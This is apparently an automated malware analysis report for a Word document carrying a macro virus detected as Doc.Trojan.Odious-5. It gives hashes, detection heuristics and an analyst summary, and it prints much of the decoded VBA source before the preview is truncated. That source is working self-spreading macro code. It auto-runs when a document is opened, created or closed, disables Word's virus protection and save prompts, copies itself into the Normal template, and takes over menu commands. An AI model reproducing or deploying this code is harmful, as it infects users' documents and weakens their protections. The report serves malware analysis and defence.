Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 17c84fadbe4179b8…

MALICIOUS

Office (OLE)

35.0 KB Created: 2009-08-22 12:04:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 7a2e84f7c48378ec4d2f00767d8cd81a SHA-1: aae0afb5c670cf2dc22f72c1de5264bbabc5acee SHA-256: 17c84fadbe4179b87d8391ea80fcf8d898f8113b69f5d7b6a367551e1180eaca
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a Microsoft Word document containing VBA macros, including AutoOpen and AutoClose, which are commonly used to initiate malicious actions. The presence of 'Virus' and 'TextoSVJ' functions, along with the ClamAV detection of 'Doc.Trojan.Odious-5', strongly suggests malicious intent. The VBA script attempts to copy project items between the active document and the normal template, a technique often used for persistence or to spread the macro.

Heuristics 5

  • ClamAV: Doc.Trojan.Odious-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Odious-5
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16942 bytes
SHA-256: 3793bc8c753250b13153209bf73c24f8c17ac3d97ca8f154934e3eb251d4251b
Detection
ClamAV: Doc.Trojan.Odious-5
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "SVJ_01"
Sub AutoExec()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Options.VirusProtection = False
    Options.SaveNormalPrompt = False
    Application.DefaultSaveFormat = ""
End Sub
Sub AutoOpen()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub AutoNew()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub AutoClose()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    E
End Sub
Function Virus()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Application.DisplayAlerts = wdAlertsNone
    E
    If Day(Date) = 17 And Month(Date) = 10 And Hour(Time) = 11 Then
        TextoSVJ
    End If
End Function
Function E()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Dim A, B As String
    A = Application.NormalTemplate.FullName
    B = Application.ActiveDocument.FullName
    Application.OrganizerCopy A, B, "SVJ_01", wdOrganizerObjectProjectItems
    Application.OrganizerCopy B, A, "SVJ_01", wdOrganizerObjectProjectItems
End Function
Sub ExibirCódigoVB()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    E
End Sub
Sub FerramGravarMacroAlternar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    E
End Sub
Sub ExibirCódigo()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    E
End Sub
Sub FerramMacro()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    E
End Sub
Sub InterromperGravação()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    E
End Sub
Sub FerramentasGravarMacroIniciar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    E
End Sub
Sub FerramentasGravarMacroParar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    E
End Sub
Sub ArquivoModelos()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    Virus
End Sub
Sub ArquivoSalvar()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    E
    ActiveDocument.Save
End Sub
Function TextoSVJ()
    On Error Resume Next
    Application.EnableCancelKey = wdCancelDisabled
    ActiveWindow.ActivePane.View.ShowAll = False
    If ActiveWindow.View.SplitSpecial = wdPaneNone Then
        ActiveWindow.ActivePane.View.Type = wdPageView
    Else
        ActiveWindow.View.Type = wdPageView
    End If
    Selection.ParagraphFormat.LineSpacingRule = wdLineSpaceSingle
    Selection.TypeParagraph
    Selection.MoveUp Unit:=wdLine, Count:=1
    Selection.ParagraphFormat.Alignment = wdAlignParagraphCenter
    With Selection.Font
        .Name = "Times New Roman"
        .Size = 80
        .Bold = True
        .Italic = False
        .Underline = wdUnderlineWavy
        .StrikeThrough = False
        .DoubleStrikeThrough = False
        .Outline = False
        .Emboss = False
        .Shadow = True
        .Hidden = False
        .SmallCaps = False
        .AllCaps = False
        .ColorIndex = wdDarkBlue
        .Engrave = False
        .Superscript = False
        .Subscript = False
        .Spacing = 0
        .Scaling = 100
        .Position = 0
        .Kerning = 0
        .Animation = wdAnimationShimmer
    End With
    Selection.TypeText Text:="BY  SVJ"
    With Selection.Font
        .Name = "Times New Roman"
        .Size = 80
        .Bold = True
        .Italic = False
        .Underline = wdUnderlineWavy
        .StrikeThrough = False
        .DoubleStrikeThrough = False
        .Outline = False
        .Emboss = False

... (truncated)